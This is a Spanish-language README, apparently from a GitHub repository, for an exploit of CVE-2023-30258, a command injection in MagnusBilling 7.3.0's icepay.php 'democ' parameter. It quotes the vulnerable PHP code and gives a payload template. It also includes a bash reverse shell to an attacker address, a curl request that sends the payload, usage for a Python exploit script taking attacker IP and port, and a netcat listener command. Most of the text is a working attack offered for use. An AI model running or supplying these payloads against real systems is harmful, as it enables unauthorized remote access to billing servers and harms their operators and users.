
Exploit para CVE-2023-30258: ejecución remota de código en MagnusBilling 7.3.0 mediante el parámetro 'democ' sin sanitizar en icepay.php, permitiendo inyección de comandos y shell inversa.
Existe una vulnerabilidad de ejecución remota de código en magnus billing 7.3.0, en el parámetro "democ" del recurso "icepay.php", donde se puede escapar la consulta y ejecutar el comando deseado.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
El parámetro "democ" se pasa a exec() para crear un nuevo archivo, pero como se puede ver no hay ninguna sanitización de cadenas, y el atacante puede escapar fácilmente el comando touch y ejecutar un comando o incluso obtener una reverse shell. Para omitir la extensión .txt, simplemente podemos agregar otro ";" al final de la cadena. El payload final se vería así:
testfile;<comando>;testfile
y así es como se vería cuando se pasa a la función exec():
exec('touch testfile;<comando>;testfile.txt');
ej. reverse shell:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<puerto> 0>&1";testfile.txt')
podríamos usar curl para obtener una reverse shell, ej.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<payload_urlencoded>;testfile
o si lo prefieres, puedes usar el script de Python de este repositorio. Instalación:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # obtener el repositorio
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # cambiar de directorio
chmod +x ./magnusbilling_rce.py # agregar permisos de ejecución al script de Python
uso:
./magnusbilling_rce.py -h # mostrar ayuda
./magnusbilling_rce.py -lh <ip_atacante> -lp <puerto_local> -u http://<ip/dominio>:<puerto>/
y por último, pero no menos importante, recuerda iniciar un listener con netcat:
nc -nlvvp <puerto_local>